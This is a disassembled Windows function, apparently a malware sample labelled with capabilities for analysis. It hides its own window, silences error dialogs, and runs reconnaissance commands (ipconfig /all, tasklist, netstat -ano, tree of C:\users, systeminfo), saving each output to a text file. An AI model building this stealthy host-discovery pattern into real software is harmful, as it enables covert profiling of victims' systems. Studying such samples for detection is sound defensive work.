Function at 0x403cbc
Capabilities:
Enumerate gui resources
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x415877
mov eax, dword fs:[0]
push eax
sub esp, 0xb8
mov eax, dword [0x41e340]
xor eax, esp
mov dword [esp + 0xb0], eax
push ebx
push esi
push edi
mov eax, dword [0x41e340]
xor eax, esp
push eax
lea eax, [esp + 0xc8]
mov dword fs:[0], eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [esp + 0x14], eax
lea eax, [esp + 0x14]
push eax
xor ebx, ebx
push 0x403a69
mov dword [esp + 0x20], 0x41b7b0
mov dword [esp + 0x24], ebx
call dword [sym.imp.USER32.dll_EnumWindows]
push ebx
push dword [esp + 0x20]
call dword [sym.imp.USER32.dll_ShowWindow]
push 0x403a65
call dword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
push 1
call dword [sym.imp.KERNEL32.dll_SetErrorMode]
push 0xcc5
call dword [sym.imp.KERNEL32.dll_Sleep]
call fcn.00403c45
call fcn.0040116d
push 0x32
lea eax, [esp + 0x90]
push ebx
push eax
call fcn.00409f10
add esp, 0xc
lea eax, [esp + 0x58]
push 0x32
push ebx
push eax
call fcn.00409f10
add esp, 0xc
lea eax, [esp + 0x24]
push 0x32
push ebx
push eax
call fcn.00409f10
mov edx, dword [0x4200a8]
add esp, 0xc
mov esi, edx
mov al, byte [edx]
inc edx
test al, al
jne 0x403d92
lea edi, [esp + 0x8c]
sub edx, esi
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x403da3
mov ecx, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x8c]
dec ecx
mov al, byte [ecx + 1]
inc ecx
test al, al
jne 0x403dc1
mov ax, word [0x41b804]
mov edx, dword [0x420028]
mov word [ecx], ax
mov al, byte [0x41b806]
mov byte [ecx + 2], al
mov esi, edx
mov al, byte [edx]
inc edx
test al, al
jne 0x403de2
lea edi, [esp + 0x58]
sub edx, esi
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x403df0
mov ecx, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x58]
dec ecx
mov al, byte [ecx + 1]
inc ecx
test al, al
jne 0x403e0b
mov ax, word [0x41b804]
mov edx, dword [0x420044]
mov word [ecx], ax
mov al, byte [0x41b806]
mov byte [ecx + 2], al
mov esi, edx
mov al, byte [edx]
inc edx
test al, al
jne 0x403e2c
lea edi, [esp + 0x24]
sub edx, esi
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x403e3a
mov ecx, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x24]
dec ecx
mov al, byte [ecx + 1]
inc ecx
test al, al
jne 0x403e55
mov ax, word [0x41b804]
mov word [ecx], ax
mov al, byte [0x41b806]
push 0xee4
mov byte [ecx + 2], al
mov dword [0x4200c0], ebx
call fcn.00404b08
pop ecx
mov dword [esp + 0x20], eax
mov dword [esp + 0xd0], ebx
test eax, eax
je 0x403eab
lea ecx, [esp + 0x24]
push ecx
lea ecx, [esp + 0x5c]
push ecx
push ecx
push ecx
lea ecx, [esp + 0x9c]
push ecx
mov ecx, eax
call fcn.00402929
mov ebx, eax
or dword [esp + 0xd0], 0xffffffff
mov dword [0x4200c0], ebx
call fcn.004038d8
mov edx, dword [0x4200c0]
lea edi, [edx + 0x515]
mov esi, edi
sub esi, eax
mov cl, byte [eax]
mov byte [esi + eax], cl
inc eax
test cl, cl
jne 0x403ece
test edi, edi
jne 0x403ef9
call fcn.004038d8
mov edx, dword [0x4200c0]
lea esi, [edx + 0x515]
sub esi, eax
mov cl, byte [eax]
mov byte [esi + eax], cl
inc eax
test cl, cl
jne 0x403eef
mov dword [0x4200bc], edx
mov edx, str.ipconfig.txt
mov ecx, str._c_ipconfig__all
call fcn.00403502
mov edx, str.tasklist.txt
mov ecx, str._c_tasklist
call fcn.00403502
mov edx, str.netstat.txt
mov ecx, str._c_netstat__ano
call fcn.00403502
mov edx, str.tree_C_users.txt
mov ecx, str._c_tree__F__C:users_
call fcn.00403502
call fcn.004037d3
mov edx, str.systeminfo.txt
mov ecx, str._c_systeminfo
call fcn.00403502
call fcn.00403f7a
xor eax, eax
mov ecx, dword [esp + 0xc8]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0xb0]
xor ecx, esp
call fcn.004042fc
mov esp, ebp
pop ebp
ret